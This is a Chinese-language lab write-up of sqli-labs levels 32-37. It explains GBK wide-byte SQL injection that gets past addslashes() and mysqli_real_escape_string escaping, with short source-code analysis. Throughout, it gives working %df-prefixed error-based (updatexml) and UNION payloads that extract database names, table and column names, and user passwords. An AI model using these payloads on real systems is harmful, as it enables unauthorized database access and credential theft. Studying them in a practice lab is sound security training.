32 宽字节-报错注入

输入?id=2',发现引号被转义了,没有报错

sqli-labs(32-37)宽字节注入_mysql

一般情况下,这里是不存在SQL注入的,但有一个特殊情况,就是数据库使用GBK编码,可以用宽字节注入

宽字节注入

概念

在mysql中,用于转义的函数有addslashesmysql_real_escape_stringmysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性,宽字节注入与HTML页面编码是无关的。

  1. 当某字符的大小为一个字节时,称其字符为窄字节.比如 ASCII 编码。

  2. 当某字符的大小为两个字节时,称其字符为宽字节.

  3. 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

  4. GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。

  5. UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。

原理

宽字节将两个字符作为汉字,当'前加个%df,被转移后为%df\',由于\编码为%5c,而%df%5c为两个字节代表一个汉字,因此%df%5c成为一个字,'没有被转义成功逃逸

实战

?id=2%df'可以看到一个无法显示的中文字符,虽然显示单引号被转义了,但是它报错了,实际上是成功了

sqli-labs(32-37)宽字节注入_单引号_02

获取数据库名?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

sqli-labs(32-37)宽字节注入_mysql_03

由于单引号被转义,在查询语句中不能用单引号,因此只能采用嵌套查询table_schema='security' 换成table_schema=(select database()来获取表名,

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),0x7e),1)--+

sqli-labs(32-37)宽字节注入_sql注入_04

获取users的字段名

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+

sqli-labs(32-37)宽字节注入_mysql_05

获取密码

?id=2%df' and updatexml(1,concat(0x7e,(select (password)from security.users limit 7,1 ),0x7e),1)--+

sqli-labs(32-37)宽字节注入_xml_06

源码分析

关键就是这个函数,它转义单引号,双引号,和任意数量的反斜杠

sqli-labs(32-37)宽字节注入_单引号_07

33 宽字节-报错注入-addslashes()

初次尝试

试了试32关的语句,正常显示,那这一关特别在哪里呢?

?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

sqli-labs(32-37)宽字节注入_mysql_08

区别之处在哪?

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+

sqli-labs(32-37)宽字节注入_mysql_09

看看源码

区别就在32是自己写的函数,这一题用的自带转义函数addslashes()

sqli-labs(32-37)宽字节注入_sql注入_10

addslashes()定义和用法

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

可以说和32关的功能大差不差,绕过方式也一样

34 宽字节-Union查询-POST-addslashes()

初次尝试

POST抓包修改

sqli-labs(32-37)宽字节注入_xml_11

被转义了

sqli-labs(32-37)宽字节注入_xml_12

试试宽字节注入111%df',报错了,看来可行

sqli-labs(32-37)宽字节注入_mysql_13

这次采用Union查询试试

1%df'order by 3#

sqli-labs(32-37)宽字节注入_xml_14

1%df'order by 2

sqli-labs(32-37)宽字节注入_sql注入_15

1%df'union select 1,2#

sqli-labs(32-37)宽字节注入_sql注入_16

获取数据库名

sqli-labs(32-37)宽字节注入_单引号_17

获取表名

1%df'union select (select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),2#

sqli-labs(32-37)宽字节注入_单引号_18

获取users字段名

sqli-labs(32-37)宽字节注入_xml_19

获取用户名和密码

1%df'union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

sqli-labs(32-37)宽字节注入_xml_20

看看源码

sqli-labs(32-37)宽字节注入_mysql_21

用户名和密码转义,数据库设置为GBK,宽字节注入绕过

35 宽字节-数字型-addslashes()

初次尝试

?id=2'直接报错了是怎么回事?先判断注入类型

?id=2 and 1=1

sqli-labs(32-37)宽字节注入_sql注入_22

?id=2 and 1=2

sqli-labs(32-37)宽字节注入_xml_23

由此可以得知为数字型注入

如何判断是字符型注入还是数字型注入

接下来采用报错注入还是Union查询都可以

源码分析

sqli-labs(32-37)宽字节注入_xml_24

sqli-labs(32-37)宽字节注入_xml_25

使用转义函数addslashes()进行处理,id为数字型

36 宽字节-mysqli_real_escape_string($con, $string)

源码出问题了,页面不显示结果,这道题没法做了

sqli-labs(32-37)宽字节注入_mysql_26

与上一题源码对比,不同之处在于转义函数换成了mysqli_real_escape_string($con, $string),会被进行转义的字符包括: NUL (ASCII 0)\n\r\'"Control-Z.

PHP: mysqli::real_escape_string - Manual

由于数据库为GBK编码,还是采用宽字节注入

37 宽字节-post-mysqli_real_escape_string($con, $string)

初次尝试

post传参,burpsuite伺候

sqli-labs(32-37)宽字节注入_xml_27

12'单引号被转义

sqli-labs(32-37)宽字节注入_sql注入_28

尝试宽字节注入12%df',报错,单引号字符型1

sqli-labs(32-37)宽字节注入_sql注入_29

12%df' order by 3#

sqli-labs(32-37)宽字节注入_mysql_30

12%df' order by 2#字段名为2

sqli-labs(32-37)宽字节注入_转义_31

接下来就是Union查询或者报错注入,略

源码分析

sqli-labs(32-37)宽字节注入_sql注入_32

mysqli_real_escape_string($con, $string)转义特殊字符:单引号